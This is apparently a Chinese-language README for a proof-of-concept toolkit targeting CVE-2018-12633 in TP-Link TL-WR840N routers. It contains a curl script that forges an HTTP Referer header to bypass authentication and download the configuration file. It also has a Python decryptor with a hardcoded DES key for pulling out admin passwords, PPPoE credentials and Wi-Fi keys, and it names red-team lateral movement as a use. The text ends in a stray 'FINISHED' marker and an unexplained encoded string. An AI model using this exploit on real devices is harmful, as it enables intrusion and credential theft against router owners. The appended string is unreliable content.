TP-Link WR840N 配置提取与解密工具集 (CVE-2018-12633)
本项目是对 CVE-2018-12633 漏洞的完整技术复现与研究工具集。该漏洞存在于 TP-Link TL-WR840N 路由器(2018年中旬固件版本)的 HTTPd 服务器中,是一个严重的逻辑缺陷。攻击者通过操纵 HTTP Referer 头,可以完全绕过身份验证,进而下载加密的配置文件 (Romfile.cfg),并最终通过提供的解密工具恢复出管理员密码、PPPoE凭证、Wi-Fi密钥等核心敏感信息。
本项目不仅提供可直接使用的PoC脚本,还深入分析了漏洞原理、利用方法和缓解措施,旨在帮助安全社区理解此类认证绕过漏洞的风险。
功能特性
- 一键式漏洞利用:提供
bash脚本,通过构造特定的Referer头,直接下载目标路由器的加密配置文件。 - 自动化配置解密:提供
Python脚本,利用固件中硬编码的 DES 密钥解密下载的配置文件。 - 完整的技术分析:包含详细的漏洞研究报告,涵盖漏洞原理、利用阶段、缓解措施和安全展望。
- 清晰的状态反馈:利用脚本在执行过程中提供详细的HTTP状态码、文件大小等信息,方便用户判断漏洞利用成败。
- 即用型PoC:代码精简,依赖少,可直接在渗透测试或安全研究环境中运行。
安装指南
系统要求
- 操作系统:Linux、macOS 或 Windows (通过 WSL)
- 依赖项:
curl:用于发送HTTP请求。Python 3:用于运行解密脚本。pycryptodome:Python 的加密库。
安装步骤
-
克隆代码库
git clone https://github.com/qife/CVE-2018-12633-TPLink-Auth-Bypass.git cd CVE-2018-12633-TPLink-Auth-Bypass -
安装 Python 依赖 解密脚本需要
pycryptodome库,使用pip进行安装。pip install pycryptodome
使用说明
本工具集包含两个核心脚本,建议按顺序使用。
1. 利用漏洞提取配置文件 (CVE-2018-12633)
使用 exploit.sh 脚本从目标路由器下载加密的配置文件。
基础用法:
# 给脚本添加执行权限
chmod +x exploit.sh
# 使用默认IP (192.168.0.1) 和默认输出文件名 (router_backup.bin)
./exploit.sh
# 指定目标IP和输出文件名
./exploit.sh -t 192.168.1.1 -o my_router_backup.bin
成功执行后,您将看到类似输出:
[*] Attempting Referer Header Bypass...
[+] SUCCESS! Exploit executed successfully.
[+] Configuration dump saved to: /path/to/router_backup.bin (6.2K)
[!] NEXT STEP: The file is DES encrypted. Use 'decrypt_conf.py' to extract credentials.
2. 解密配置文件
使用 decrypt_conf.py 脚本解密上一步下载的 .bin 文件。
基础用法:
python3 decrypt_conf.py router_backup.bin
成功执行后,将生成一个同名的 .xml 文件。
TP-Link Config Decryptor | Ignatius Wilhelmus Kim Kerans
[+] Decryption complete. Saved to: router_backup.bin.xml
[*] You can now open this file with a text editor to find 'Password' or 'SSID'.
典型使用场景
- 红队渗透:在获得内网访问权限后,快速提取路由器中的凭据,用于横向移动。
- 物联网安全研究:分析厂商在固件中修复逻辑漏洞的方式。
- 漏洞验证:安全研究人员验证目标设备是否仍受 CVE-2018-12633 影响。
- 凭证恢复:帮助遗忘路由器管理密码的合法所有者(在已获得授权的情况下)恢复设备访问权限。
核心代码
1. 认证绕过与配置提取脚本 (exploit.sh)
该脚本核心在于利用 curl 构造一个带有合法 Referer 头的HTTP请求,欺骗服务器授予访问权限。
#!/bin/bash
# [Title] CVE-2018-12633 POC: TP-Link Auth Bypass & Config Dumper
# [Desc] Exploits logic flaw in HTTP Referer header to bypass
# authentication and dump the binary configuration file.
# ... (参数解析和预检) ...
# --- 执行阶段:核心攻击载荷 ---
echo -e "${YELLOW}[*] Attempting Referer Header Bypass...${NC}"
# 使用 -s (静默) 和 -f (快速失败) 选项,并输出HTTP状态码
# -H "Referer: ..." 是漏洞利用的关键
HTTP_CODE=$(curl -s -o "$OUTPUT_FILE" -w "%{http_code}" \
-H "Referer: http://$TARGET_IP/mainFrame.htm" \
"http://$TARGET_IP/userRpm/Romfile.cfg")
# ... (结果验证和后续步骤提示) ...
2. 配置文件解密脚本 (decrypt_conf.py)
该脚本利用逆向工程发现的硬编码 DES 密钥对配置文件进行解密。
#!/usr/bin/env python3
# Description: Decrypts TP-Link TL-WR840N 'Romfile.cfg' dumps (DES-ECB)
import sys
import os
from Crypto.Cipher import DES
# 固件中硬编码的密钥
DEFAULT_KEY = b'\x47\x8D\xA5\x0B\xF9\xE3\xD2\xCF'
def decrypt_file(input_file, output_file):
try:
with open(input_file, 'rb') as f:
encrypted_data = f.read()
# 创建DES密码对象,使用ECB模式
cipher = DES.new(DEFAULT_KEY, DES.MODE_ECB)
# 执行解密
decrypted_data = cipher.decrypt(encrypted_data)
# 将解密后的数据保存为XML文件
with open(output_file, 'wb') as f:
f.write(decrypted_data)
print(f"[+] Decryption complete. Saved to: {output_file}")
print("[*] You can now open this file with a text editor to find 'Password' or 'SSID'.")
except Exception as e:
print(f"[-] Decryption failed: {str(e)}")
# ... (主程序入口和参数处理) ...
```FINISHED
6HFtX5dABrKlqXeO5PUv/0cZFSAdpsuzEDu2BLL0XX4Iw+6ntLINP8/kICCC8ahDuD4CBUQib2+ILN9cNbr8yA==